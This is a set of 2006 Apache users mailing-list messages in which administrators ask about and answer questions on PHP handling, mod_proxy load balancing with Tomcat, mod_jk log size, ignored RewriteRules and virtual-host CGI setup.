Did you make sure to add AddHandler application/x-httpd-php .php to your httpd.conf? If not, Apache won't read the php. --- Graham Frank -Original Message- From: Matthew Williamson Date: 2/20/06 3:00 pm To: users@httpd.apache.org Subj: [EMAIL PROTECTED] Apache 2.0 PHP5.0.4 on Fedora Core 4 Good evening, I wonder if anyone can help me with a apache2.0 config relating to PHP on Fedora core4. I have Apache reading the php.conf file on start up, but when I point my browser to the file instead of displaying the processed file to the browser I get the php script displayed as if apache has not detected it needs to be run by the php module and just prints the script to the screen instead. Anyone any ideas, come across this before? Is it not an apache issue? PS I am using Apache as the front end on my server and it is configured with Mod_JK to a Tomcat server in the back ground for jsp and servlets, I am trying to now integrate oscommerce which uses php with it, hence new problems!!! - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] Soft. Load Balancer Recommendations
Be glad to, so I have this setup: ProxyRequests off ServerName myURL.mydomain.net ProxyPass /balancer-manager ! ProxyPass / balancer://mycluster/ stickysession=JSESSIONID nofailover=On ProxyPreserveHost On BalancerMember http://10.1.1.100: BalancerMember http://10.1.1.200: SetHandler balancer-manager But am seeing these: [Fri Feb 17 14:50:32 2006] [error] proxy: BALANCER: (balancer://mycluster). All workers are in error state for route (e3aKaxiTc3qQe34RbN0Nc3ySchj0n6jAmljGr5XDqQLvpAe) [Fri Feb 17 14:58:25 2006] [error] proxy: BALANCER: (balancer://mycluster). All workers are in error state for route (e3aKaxiTc3qQe34RbN0Nc3ySchj0n6jAmljGr5XDqQLvpAe) But not sure what that is talking about and there seems to be limited information on it currently. When I hit refresh it seems to be switching from BalancerMember #1 to #2 which is fine initially, however when actually going into my java application, I'm seeing that my images aren't working and I'm getting: Service Temporarily Unavailable The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later. Since on one of the application servers the java process was shut down? so can it detect if /whatever is giving a 404 error response and try another balancemember? Thanks >>> [EMAIL PROTECTED] 02/20 11:34 AM >>> On Sunday 19 February 2006 23:26, James Wuerflein wrote:> I'm looking for a software load balancer solution where I could do 1 to> many backend webservers, and also have the option to maintain some> session persistance with jsession? Additionally, would like to be able> to do many proxy or load balancers to many backend webservers or> application servers.Erm, why not start by telling us what's the matter with Apache'sbundled loadbalancing capabilities? It's one of the 'headline'improvements in Apache 2.2, and if it doesn't meet your needsthe details would be useful.-- Nick Kew __ This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. Katun Corporation -- www.katun.com _
[EMAIL PROTECTED] huge mod_jk.log
Hello I got mod_jk working, hurrah, however I am serving large files and the mod_jk.log file is huge. When it is over about 100MB Apache will not start up. Clear out the file and it starts fine. How do I configure Apache to log as tersely as possible to mod_jk.log? __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[EMAIL PROTECTED] RewriteRule being ignored
I am running apache 2.0.50 on SuSE 9.2. I also run Tomcat 5.0.28 and pass connections to it from Apache. I installed Apache from the SuSE package. My RewriteRule is not working. It appears to be completely ignored. Connections get passed to Tomcat via the Proxy pass w/o being rewritten. I have enabled the RewriteRuleLog and set the log level to 9. The log file is created but is not written to. I am missing something obvious I am sure but am too much of a newbie still to be sure just what. Any suggestions are appreciated. My settings: ServerName www.myserver.com RewriteEngine On RewriteRule ^/gift/(.*)$ http://www.myserver.com/buy.jsp?gift=$1 RewriteRule ^/refer/(.*)$ http://www.myserver.com/buy.jsp?refer=$1 ProxyPass /download/ http://www.myserver.com/download/ ProxyPassReverse /download/ http://www.myserver.com/download/ ProxyPass / http://127.0.0.1:8080/ ProxyPassReverse / http://127.0.0.1:8080/ Thanks, David
Re: [EMAIL PROTECTED] virtual host cgi config
>>AddHandler cgi-script .cgi .html >>ScriptAlias /cgi-bin/ /home/mine/public_html/cgi-bin/ These lines 'll also required to run script: Options -Indexes +ExecCGI Order Allow,Deny Allow from All In addition, i guess you can run script without AddHandler cgi-script .cgi .html Regards, On Mon, 2006-02-20 at 18:13, azeem ahmad wrote: > is this configuration ok to run cgi scripts. > - > > ServerAlias domain.com > ServerAdmin [EMAIL PROTECTED] > DocumentRoot /home/mine/public_html > BytesLog domlogs/mine.com-bytes_log > ServerName www.domain.com > > User mine > Group mine > CustomLog /usr/local/apache/domlogs/mine.com combined > AddHandler cgi-script .cgi .html > ScriptAlias /cgi-bin/ /home/mine/public_html/cgi-bin/ > > - > > Regards > Azeem > > > > - > The official User-To-User support forum of the Apache HTTP Server Project. > See http://httpd.apache.org/userslist.html> for more info. > To unsubscribe, e-mail: [EMAIL PROTECTED] >" from the digest: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]